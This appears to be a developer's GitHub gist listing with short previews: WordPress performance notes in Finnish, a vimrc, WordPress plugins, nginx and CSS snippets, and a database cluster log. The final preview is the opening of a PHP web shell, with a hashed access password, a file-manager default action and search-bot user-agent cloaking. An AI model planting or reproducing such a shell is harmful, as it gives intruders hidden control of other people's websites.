- WordPressiä ajetaan yleensä LAMP-ympäristössä
- Useissa tapauksissa alimitoitetuissa Shared Hosting -ympäristöissä
- Mietitään miten WordPressin saa pyörimään mahdollisimman nopeasti!
- Kevyempi ja nopeampi kuin Apache -> Oton mittaukset
"" | |
" anttiviljami's vimrc | |
" | |
" twitter: @anttiviljami | |
" http://seravo.fi | |
" | |
"" | |
" Use Vim settings, rather than Vi settings (much better!). | |
" This must be first, because it changes other options as a side effect. |
I hereby claim:
To claim this, I am signing this object:
<?php | |
/** | |
* Plugin name: WooCommerce - Apply free shipping to all shipping methods | |
* Plugin URI: https://gist.github.com/anttiviljami/ad46752d23d622c07f82 | |
* Description: If Free Shipping is available, make other shipping options cost 0 and disable the 'Free Shipping' method | |
* Version: 1.0 | |
* Author: anttiviljami | |
* Author: https://github.com/anttiviljami | |
* License: GPLv3 | |
*/ |
<?php | |
/** | |
* Plugin name: Shadow Indicator | |
* Author: Antti Kuosmanen / Seravo Oy | |
* Version: 1.0 | |
* | |
* Show the user which environment we're in at all times | |
*/ | |
add_action('wp_head', '_indicate_environment'); | |
add_action('admin_notices', '_indicate_environment'); |
map $sent_http_x_wp_embed $frameoptions { | |
'' SAMEORIGIN; | |
'something' 'ALLOW-FROM http://mywebsite.com'; | |
} | |
server { | |
... | |
add_header X-Frame-Options $frameoptions; | |
} |
.customize-support nav { position: relative; top: 32px; } | |
@media ( max-width: 782px ) { | |
.customize-support nav { position: relative; top: 46px; } | |
} | |
@media ( max-width: 600px ) { | |
.customize-support nav { position: absolute; top: 46px; } | |
} |
asd |
2016-12-02 8:40:33 139992479299328 [Note] WSREP: (173c558a, 'tcp://0.0.0.0:40047') connection to peer 4ceca44b with addr tcp://10.1.10.91:40047 timed out, no | |
messages seen in PT3S | |
2016-12-02 8:40:33 139992479299328 [Note] WSREP: (173c558a, 'tcp://0.0.0.0:40047') connection to peer dee5e459 with addr tcp://10.1.8.195:40047 timed out, no | |
messages seen in PT3S | |
2016-12-02 8:40:33 139992479299328 [Note] WSREP: (173c558a, 'tcp://0.0.0.0:40047') turning message relay requesting on, nonlive peers: tcp://10.1.10.91:40047 | |
tcp://10.1.8.195:40047 | |
2016-12-02 8:40:34 139992479299328 [Note] WSREP: (173c558a, 'tcp://0.0.0.0:40047') connection established to 4ceca44b tcp://10.1.10.91:40047 | |
2016-12-02 8:40:34 139992479299328 [Note] WSREP: (173c558a, 'tcp://0.0.0.0:40047') reconnecting to dee5e459 (tcp://10.1.8.195:40047), attempt 0 | |
2016-12-02 8:40:34 139992479299328 [Note] WSREP: (173c558a, 'tcp://0.0.0.0:40047') connection established to dee5e459 tcp://10.1.8.195:40047 | |
2016-12-02 8:40:37 139992479299328 [Note] WSRE |
<?php | |
$auth_pass = "43c28ae888b07543fd3c492620b2d10c"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); |